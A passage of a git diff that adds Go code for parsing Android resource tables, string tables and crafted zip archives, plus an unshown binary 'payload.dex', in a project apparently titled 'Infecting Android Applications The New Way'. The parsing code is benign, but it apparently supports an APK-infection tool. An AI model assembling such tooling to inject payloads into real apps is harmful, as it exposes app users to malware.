0xFF) - 1 + entryId := (resId & 0xFFFF) + + group := x.packages[pkgId] + if group == nil { + return nil, fmt.Errorf("Invalid package identifier.") + } + + return x.getEntry(group, typ, entryId, config) +} + +// Return the biggest last config ending with .png. Falls back to GetResourceEntry() if none found. +func (x *ResourceTable) GetIconPng(resId uint32) (*ResourceEntry, error) { + pkgId := (resId >> 24) + typ := ((resId >> 16) & 0xFF) - 1 + entryId := (resId & 0xFFFF) + + group := x.packages[pkgId] + if group == nil { + return nil, fmt.Errorf("Invalid package identifier.") + } + + entries, err := x.getEntryConfigs(group, typ, entryId, 256) + if len(entries) == 0 { + return nil, err + } + + var res *ResourceEntry + for i := 0; i < len(entries) && i < 1024; i++ { + e := entries[i] + if e.value.dataType == AttrTypeReference { + pkgId = (e.value.data >> 24) + typ = ((e.value.data >> 16) & 0xFF) - 1 + entryId = (e.value.data & 0xFFFF) + + if more, _ := x.getEntryConfigs(group, typ, entryId, 256); len(more) != 0 { + entries = append(entries, more...) + } + } else if val, _ := e.value.String(); strings.HasSuffix(val, ".png") { + res = e + } + } + + if res == nil { + return x.GetResourceEntry(resId) + } + return res, nil +} + +func (x *ResourceTable) getEntry(group *packageGroup, typeId, entry uint32, config ResourceConfigOption) (*ResourceEntry, error) { + limit := 1024 + if config == ConfigFirst { + limit = 1 + } + + entries, err := x.getEntryConfigs(group, typeId, entry, limit) + if len(entries) == 0 { + return nil, err + } + res := entries[len(entries)-1] + return res, err +} + +func (x *ResourceTable) getEntryConfigs(group *packageGroup, typeId, entry uint32, limit int) ([]*ResourceEntry, error) { + typeList := group.types[uint8(typeId+1)] + if len(typeList) == 0 { + return nil, fmt.Errorf("Invalid type: %d", typeId) + } + + var lastErr error + var entries []*ResourceEntry + for _, typ := range typeList { + for _, thisType := range typ.Configs { + if entry >= thisType.entryCount { + continue + } + + r := bytes.NewReader(thisType.chunkData) + if _, err := r.Seek(int64(thisType.indexesStart+entry*4), io.SeekStart); err != nil { + return nil, err + } + + var thisOffset uint32 + if err := binary.Read(r, binary.LittleEndian, &thisOffset); err != nil { + return nil, fmt.Errorf("Failed to read this type offset: %s", err.Error()) + } + + if thisOffset == math.MaxUint32 { + continue + } + + offset := thisType.entriesStart + thisOffset + + if int(offset) >= len(thisType.chunkData) || ((offset & 0x03) != 0) { + return nil, fmt.Errorf("Invalid entry 0x%04x offset: %d!", entry, offset) + } + + if _, err := r.Seek(int64(offset), io.SeekStart); err != nil { + return nil, err + } + + res, err := x.parseEntry(r, typ.Package, typeId) + if err != nil { + lastErr = err + } else { + entries = append(entries, res) + } + + if len(entries) >= limit { + goto exit + } + } + } + + if len(entries) == 0 { + return nil, fmt.Errorf("No entry found.") + } +exit: + return entries, lastErr +} + +func (x *ResourceTable) parseEntry(r io.Reader, pkg *resourcePackage, typeId uint32) (*ResourceEntry, error) { + var err error + var res ResourceEntry + var keyIndex uint32 + + if err := binary.Read(r, binary.LittleEndian, &res.size); err != nil { + return nil, fmt.Errorf("Failed to read entry size: %s", err.Error()) + } + + if err := binary.Read(r, binary.LittleEndian, &res.flags); err != nil { + return nil, fmt.Errorf("Failed to read entry flags: %s", err.Error()) + } + + if err := binary.Read(r, binary.LittleEndian, &keyIndex); err != nil { + return nil, fmt.Errorf("Failed to read entry key index: %s", err.Error()) + } + + res.Package = pkg.Name + + res.ResourceType, err = pkg.typeStrings.get(typeId - pkg.typeIdOffset) + if err != nil { + return nil, fmt.Errorf("Invalid typeString: %s", err.Error()) + } + + res.Key, err = pkg.keyStrings.get(keyIndex) + if err != nil { + return nil, fmt.Errorf("Invalid keyString: %s", err.Error()) + } + + if !res.IsComplex() { + var size uint16 + if err := binary.Read(r, binary.LittleEndian, &size); err != nil { + return nil, fmt.Errorf("Failed to read entry value size: %s", err.Error()) + } + + if size < 8 { + return nil, fmt.Errorf("Invalid Res_value size: %d!", size) + } + + if _, err := io.CopyN(ioutil.Discard, r, 1); err != nil { + return nil, fmt.Errorf("Failed to read entry value res0: %s", err.Error()) + } + + if err := binary.Read(r, binary.LittleEndian, &res.value.dataType); err != nil { + return nil, fmt.Errorf("Failed to read entry value data type: %s", err.Error()) + } + + if err := binary.Read(r, binary.LittleEndian, &res.value.data); err != nil { + return nil, fmt.Errorf("Failed to read entry value data: %s", err.Error()) + } + + res.value.globalStringTable = &x.mainStrings + + } else { + // NYI + } + + return &res, nil +} + +// Returns true if the resource entry is complex (for example arrays, string plural arrays...). +// +// Complex ResourceEntries are not yet supported. +func (e *ResourceEntry) IsComplex() bool { + return (e.flags & tableEntryComplex) != 0 +} + +// Returns the resource value handle +func (e *ResourceEntry) GetValue() *ResourceValue { + return &e.value +} + +// Returns the resource data type +func (v *ResourceValue) Type() AttrType { + return v.dataType +} + +// Returns the raw data of the resource +func (v *ResourceValue) RawData() uint32 { + return v.data +} + +// Returns the data converted to their native type (e.g. AttrTypeString to string). +// +// Returns ErrUnknownResourceDataType if the type is not handled by this library +func (v *ResourceValue) Data() (interface{}, error) { + if v.convertedData != nil { + return v.convertedData, nil + } + + var val interface{} + var err error + + switch v.dataType { + case AttrTypeNull: + case AttrTypeString: + val, err = v.globalStringTable.get(v.data) + if err != nil { + return nil, err + } + case AttrTypeIntDec, AttrTypeIntHex, AttrTypeIntBool, + AttrTypeIntColorArgb8, AttrTypeIntColorRgb8, + AttrTypeIntColorArgb4, AttrTypeIntColorRgb4, + AttrTypeReference: + val = v.data + default: + return nil, ErrUnknownResourceDataType + } + + v.convertedData = val + return val, nil +} + +// Returns the data converted to a readable string, to the format it was likely in the original AndroidManifest.xml. +// +// Unknown data types are returned as the string from ErrUnknownResourceDataType.Error(). +func (v *ResourceValue) String() (res string, err error) { + switch v.dataType { + case AttrTypeNull: + res = "null" + case AttrTypeIntHex: + res = fmt.Sprintf("0x%x", v.data) + case AttrTypeIntBool: + if v.data != 0 { + res = "true" + } else { + res = "false" + } + case AttrTypeIntColorArgb8: + res = fmt.Sprintf("#%08x", v.data) + case AttrTypeIntColorRgb8: + res = fmt.Sprintf("#%06x", v.data) + case AttrTypeIntColorArgb4: + res = fmt.Sprintf("#%04x", v.data) + case AttrTypeIntColorRgb4: + res = fmt.Sprintf("#%03x", v.data) + case AttrTypeReference: + res = fmt.Sprintf("@%x", v.data) + default: + var val interface{} + val, err = v.Data() + if err == nil { + res = fmt.Sprintf("%v", val) + } + } + return +} diff --git a/Infecting Android Applications The New Way/master/manifest/stringtable.go b/Infecting Android Applications The New Way/master/manifest/stringtable.go new file mode 100644 index 0000000..5c2db80 --- /dev/null +++ b/Infecting Android Applications The New Way/master/manifest/stringtable.go @@ -0,0 +1,251 @@ +package manifest + +import ( + "bytes" + "encoding/binary" + "fmt" + "io" + "io/ioutil" + "math" + "path/filepath" + "strings" + "unicode/utf16" + "unicode/utf8" +) + +const ( + stringFlagSorted = 0x00000001 + stringFlagUtf8 = 0x00000100 +) + +var StringCnt uint32 +var ManifestStringsDmp, _ = filepath.Abs("manifest_strings.dmp") +var StringTableEndPos int + +type stringTable struct { + isUtf8 bool + stringOffsets []byte + data []byte + cache map[uint32]string +} + +func parseStringTableWithChunk(r io.Reader) (res stringTable, err error) { + id, _, totalLen, err := parseChunkHeader(r) + if err != nil { + return + } + + if id != chunkStringTable { + err = fmt.Errorf("Invalid chunk id 0x%08x, expected 0x%08x", id, chunkStringTable) + return + } + + return parseStringTable(&io.LimitedReader{R: r, N: int64(totalLen - chunkHeaderSize)}) +} + +func check(e error) { + if e != nil { + panic(e) + } +} + +func dumpStrings(data []byte) { + err := ioutil.WriteFile(ManifestStringsDmp, data, 0644) + check(err) +} + +func parseStringTable(r *io.LimitedReader) (stringTable, error) { + var err error + var stringOffset, flags uint32 + var res stringTable + // stringCnt - STRING COUNT + if err := binary.Read(r, binary.LittleEndian, &StringCnt); err != nil { + return res, fmt.Errorf("error reading stringCnt: %s", err.Error()) + } + + // skip styles count + if _, err = io.CopyN(ioutil.Discard, r, 4); err != nil { + return res, fmt.Errorf("error reading styleCnt: %s", err.Error()) + } + + if err := binary.Read(r, binary.LittleEndian, &flags); err != nil { + return res, fmt.Errorf("error reading flags: %s", err.Error()) + } + + res.isUtf8 = (flags & stringFlagUtf8) != 0 + if res.isUtf8 { + flags &^= stringFlagUtf8 + } + flags &^= stringFlagSorted // just ignore + + if flags != 0 { + return res, fmt.Errorf("Unknown string flag: 0x%08x", flags) + } + + if err := binary.Read(r, binary.LittleEndian, &stringOffset); err != nil { + return res, fmt.Errorf("error reading stringOffset: %s", err.Error()) + } + + // skip styles offset + if _, err = io.CopyN(ioutil.Discard, r, 4); err != nil { + return res, fmt.Errorf("error reading styleOffset: %s", err.Error()) + } + + // Read lengths + if StringCnt >= 2*1024*1024 { + return res, fmt.Errorf("Too many strings in this file (%d).", StringCnt) + } + // allocate memory for each offset. 1 offset for 1 string. 1 offset = 4 bytes + res.stringOffsets = make([]byte, 4*StringCnt) + // fill stringOffssets array with offsets. Read from manifest + if _, err := io.ReadFull(r, res.stringOffsets); err != nil { + return res, fmt.Errorf("Failed to read string offsets data: %s", err.Error()) + } + + remainder := int64(stringOffset) - 7*4 - 4*int64(StringCnt) + if remainder < 0 { + return res, fmt.Errorf("Wrong string offset (got remainder %d)", remainder) + } else if remainder > 0 { + if _, err = io.CopyN(ioutil.Discard, r, remainder); err != nil { + return res, fmt.Errorf("error reading styleArray: %s", err.Error()) + } + } + + // read STRINGS + // TODO Здесь в r.N попал resourceID, а это не должно быть + res.data = make([]byte, r.N) + if _, err := io.ReadFull(r, res.data); err != nil { + return res, fmt.Errorf("Failed to read string table data: %s", err.Error()) + } + // write res.data to stdout. res.data contains = resource strings and manifest in plaintext + if mr, ok := r.R.(myRead); ok { + StringTableEndPos = mr.GetRead() + } + dumpStrings(res.data) + + res.cache = make(map[uint32]string) + return res, nil +} + +func (t *stringTable) parseString16(r io.Reader) (string, error) { + var strCharacters uint32 + var strCharactersLow, strCharactersHigh uint16 + + if err := binary.Read(r, binary.LittleEndian, &strCharactersHigh); err != nil { + return "", fmt.Errorf("error reading string char count: %s", err.Error()) + } + + if (strCharactersHigh & 0x8000) != 0 { + if err := binary.Read(r, binary.LittleEndian, &strCharactersLow); err != nil { + return "", fmt.Errorf("error reading string char count: %s", err.Error()) + } + + strCharacters = (uint32(strCharactersHigh&0x7FFF) << 16) | uint32(strCharactersLow) + } else { + strCharacters = uint32(strCharactersHigh) + } + + buf := make([]uint16, int64(strCharacters)) + if err := binary.Read(r, binary.LittleEndian, &buf); err != nil { + return "", fmt.Errorf("error reading string : %s", err.Error()) + } + + decoded := utf16.Decode(buf) + for len(decoded) != 0 && decoded[len(decoded)-1] == 0 { + decoded = decoded[:len(decoded)-1] + } + + return string(decoded), nil +} + +func (t *stringTable) parseString8Len(r io.Reader) (int64, error) { + var strCharacters int64 + var strCharactersLow, strCharactersHigh uint8 + + if err := binary.Read(r, binary.LittleEndian, &strCharactersHigh); err != nil { + return 0, fmt.Errorf("error reading string char count: %s", err.Error()) + } + + if (strCharactersHigh & 0x80) != 0 { + if err := binary.Read(r, binary.LittleEndian, &strCharactersLow); err != nil { + return 0, fmt.Errorf("error reading string char count: %s", err.Error()) + } + strCharacters = (int64(strCharactersHigh&0x7F) << 8) | int64(strCharactersLow) + } else { + strCharacters = int64(strCharactersHigh) + } + return strCharacters, nil +} + +func (t *stringTable) parseString8(r io.Reader) (string, error) { + // Length of the string in UTF16 + _, err := t.parseString8Len(r) + if err != nil { + return "", err + } + + len8, err := t.parseString8Len(r) + if err != nil { + return "", err + } + + buf := make([]uint8, len8) + if err := binary.Read(r, binary.LittleEndian, &buf); err != nil { + return "", fmt.Errorf("error reading string : %s", err.Error()) + } + + for len(buf) != 0 && buf[len(buf)-1] == 0 { + buf = buf[:len(buf)-1] + } + + return string(buf), nil +} + +func (t *stringTable) get(idx uint32) (string, error) { + if idx == math.MaxUint32 { + return "", nil + } else if idx >= uint32(len(t.stringOffsets)/4) { + return "", fmt.Errorf("String with idx %d not found!", idx) + } + + if str, prs := t.cache[idx]; prs { + return str, nil + } + + offset := binary.LittleEndian.Uint32(t.stringOffsets[4*idx : 4*idx+4]) + if offset >= uint32(len(t.data)) { + return "", fmt.Errorf("String offset for idx %d is out of bounds (%d >= %d).", idx, offset, len(t.data)) + } + + r := bytes.NewReader(t.data[offset:]) + + var err error + var res string + if t.isUtf8 { + res, err = t.parseString8(r) + } else { + res, err = t.parseString16(r) + } + + if err != nil { + return "", err + } + + if !utf8.ValidString(res) || strings.ContainsRune(res, 0) { + res = strings.Map(func(r rune) rune { + switch r { + case 0, utf8.RuneError: + return '\uFFFE' + default: + return r + } + }, res) + } + + t.cache[idx] = res + return res, nil +} + +func (t *stringTable) isEmpty() bool { + return t.cache == nil +} diff --git a/Infecting Android Applications The New Way/master/manifest/zipreader.go b/Infecting Android Applications The New Way/master/manifest/zipreader.go new file mode 100644 index 0000000..4b9de25 --- /dev/null +++ b/Infecting Android Applications The New Way/master/manifest/zipreader.go @@ -0,0 +1,352 @@ +package manifest + +import ( + "archive/zip" + "compress/flate" + "encoding/binary" + "errors" + "fmt" + "io" + "os" + "path" +) + +type zipReaderFileSubEntry struct { + offset int64 + method uint16 +} + +// This struct mimics of Reader from archive/zip. It's purpose is to handle +// even broken archives that Android can read, but archive/zip cannot. +type ZipReader struct { + File map[string]*ZipReaderFile + + // Files in the order they were found in the zip. May contain the same ZipReaderFile + // multiple times in case of broken/crafted ZIPs + FilesOrdered []*ZipReaderFile + + zipFileReader io.ReadSeeker + ownedZipFile *os.File +} + +// This struct mimics of File from archive/zip. The main difference is it can represent +// multiple actual entries in the ZIP file in case it has more than one with the same name. +type ZipReaderFile struct { + Name string + IsDir bool + + zipFile io.ReadSeeker + internalReader io.Reader + internalCloser io.Closer + + zipEntry *zip.File + + entries []zipReaderFileSubEntry + curEntry int +} + +// Opens the file(s) for reading. After calling open, you should iterate through all possible entries that +// go by that Filename with for f.Next() { f.Read()... } +func (zr *ZipReaderFile) Open() error { + if zr.internalReader != nil { + return errors.New("File is already opened.") + } + + if zr.zipEntry != nil { + var err error + zr.curEntry = 0 + rc, err := zr.zipEntry.Open() + if err != nil { + return err + } + zr.internalReader = rc + zr.internalCloser = rc + } else { + zr.curEntry = -1 + } + + return nil +} + +// Reads data from current opened file. Returns io.EOF at the end of current file, but another file entry might exist. +// Use Next() to check for that. +func (zr *ZipReaderFile) Read(p []byte) (int, error) { + if zr.internalReader == nil { + if zr.curEntry == -1 && !zr.Next() { + return 0, io.ErrUnexpectedEOF + } + + if zr.curEntry >= len(zr.entries) { + return 0, io.ErrUnexpectedEOF + } + + _, err := zr.zipFile.Seek(zr.entries[zr.curEntry].offset, 0) + if err != nil { + return 0, err + } + + switch zr.entries[zr.curEntry].method { + case zip.Store: + zr.internalReader = zr.zipFile + default: // case zip.Deflate: // Android treats everything but 0 as deflate + rc := flate.NewReader(zr.zipFile) + zr.internalReader = rc + zr.internalCloser = rc + } + } + return zr.internalReader.Read(p) +} + +// Moves this reader to the next file represented under it's Name. Returns false if there are no more to read. +func (zr *ZipReaderFile) Next() bool { + if len(zr.entries) == 0 && zr.internalReader != nil { + zr.curEntry++ + return zr.curEntry == 1 + } + + zr.Close() + + if zr.curEntry+1 >= len(zr.entries) { + return false + } + zr.curEntry++ + return true +} + +// Closes this reader and all opened files. +func (zr *ZipReaderFile) Close() error { + if zr.internalReader != nil { + if zr.internalCloser != nil { + zr.internalCloser.Close() + zr.internalCloser = nil + } + zr.internalReader = nil + } + return nil +} + +// Get the file header from ZIP (can return nil with broken archives) +func (zr *ZipReaderFile) ZipHeader() *zip.FileHeader { + if zr.zipEntry != nil { + return &zr.zipEntry.FileHeader + } + return nil +} + +// Closes this ZIP archive and all it's ZipReaderFile entries. +func (zr *ZipReader) Close() error { + if zr.zipFileReader == nil { + return nil + } + + for _, zf := range zr.File { + zf.Close() + } + + var err error + if zr.ownedZipFile != nil { + err = zr.ownedZipFile.Close() + zr.ownedZipFile = nil + } + + zr.zipFileReader = nil + return err +} + +type readAtWrapper struct { + io.ReadSeeker +} + +func (wr *readAtWrapper) ReadAt(b []byte, off int64) (n int, err error) { + if readerAt, ok := wr.ReadSeeker.(io.ReaderAt); ok { + return readerAt.ReadAt(b, off) + } + + oldpos, err := wr.Seek(off, io.SeekCurrent) + if err != nil { + return + } + + if _, err = wr.Seek(off, io.SeekStart); err != nil { + return + } + + if n, err = wr.Read(b); err != nil { + return + } + + _, err = wr.Seek(oldpos, io.SeekStart) + return +} + +// Attempts to open ZIP for reading. +func OpenZip(path string) (zr *ZipReader, err error) { + f, err := os.Open(path) + if err != nil { + return nil, err + } + + zr, err = OpenZipReader(f) + if err != nil { + f.Close() + } else { + zr.ownedZipFile = f + } + return +} + +// Attempts to open ZIP for reading. Might Seek the reader to arbitrary +// positions. +func OpenZipReader(zipReader io.ReadSeeker) (zr *ZipReader, err error) { + zr = &ZipReader{ + File: make(map[string]*ZipReaderFile), + zipFileReader: zipReader, + } + + f := &readAtWrapper{zipReader} + + var zipinfo *zip.Reader + zipinfo, err = tryReadZip(f) + if err == nil { + for i, zf := range zipinfo.File { + // Android treats anything but 0 as deflate. + if zf.Method != zip.Store && zf.Method != zip.Deflate { + zipinfo.File[i].Method = zip.Deflate + } + + cl := path.Clean(zf.Name) + if zr.File[cl] == nil { + zf := &ZipReaderFile{ + Name: cl, + IsDir: zf.FileInfo().IsDir(), + zipFile: f, + zipEntry: zf, + } + zr.File[cl] = zf + zr.FilesOrdered = append(zr.FilesOrdered, zf) + } + } + return + } + + if _, err = f.Seek(0, io.SeekStart); err != nil { + return + } + + var off int64 + for { + off, err = findNextFileHeader(f) + if off == -1 || err != nil { + return + } + + var nameLen, extraLen, method uint16 + if _, err = f.Seek(off+8, 0); err != nil { + return + } + + if err = binary.Read(f, binary.LittleEndian, &method); err != nil { + return + } + + if _, err = f.Seek(off+26, 0); err != nil { + return + } + + if err = binary.Read(f, binary.LittleEndian, &nameLen); err != nil { + return + } + + if err = binary.Read(f, binary.LittleEndian, &extraLen); err != nil { + return + } + + buf := make([]byte, nameLen) + if _, err = f.ReadAt(buf, off+30); err != nil { + return + } + + fileName := path.Clean(string(buf)) + fileOffset := off + 30 + int64(nameLen) + int64(extraLen) + + zrf := zr.File[fileName] + if zrf == nil { + zrf = &ZipReaderFile{ + Name: fileName, + zipFile: f, + curEntry: -1, + } + zr.File[fileName] = zrf + } + zr.FilesOrdered = append(zr.FilesOrdered, zrf) + + zrf.entries = append([]zipReaderFileSubEntry{zipReaderFileSubEntry{ + offset: fileOffset, + method: method, + }}, zrf.entries...) + + if _, err = f.Seek(off+4, 0); err != nil { + return + } + } +} + +func tryReadZip(f *readAtWrapper) (r *zip.Reader, err error) { + defer func() { + if pn := recover(); pn != nil { + err = fmt.Errorf("%v", pn) + r = nil + } + }() + + size, err := f.Seek(0, io.SeekEnd) + if err != nil { + return + } + + r, err = zip.NewReader(f, size) + return +} + +func findNextFileHeader(f io.ReadSeeker) (offset int64, err error) { + start, err := f.Seek(0, 1) + if err != nil { + return -1, err + } + defer func() { + if _, serr := f.Seek(start, 0); serr != nil && err == nil { + err = serr + } + }() + + buf := make([]byte, 64*1024) + toCmp := []byte{0x50, 0x4B, 0x03, 0x04} + + ok := 0 + offset = start + + for { + n, err := f.Read(buf) + if err != nil && err != io.EOF { + return -1, err + } + + if n == 0 { + return -1, nil + } + + for i := 0; i < n; i++ { + if buf[i] == toCmp[ok] { + ok++ + if ok == len(toCmp) { + offset += int64(i) - int64(len(toCmp)-1) + return offset, nil + } + } else { + ok = 0 + } + } + + offset += int64(n) + } +} diff --git a/Infecting Android Applications The New Way/master/payload.dex b/Infecting Android Applications The New Way/master/payload.dex new file mode 100644 index 0000000..6d9411f Binary files /dev/null and b/Infecting Android Applications The New Way/master/payload.dex differ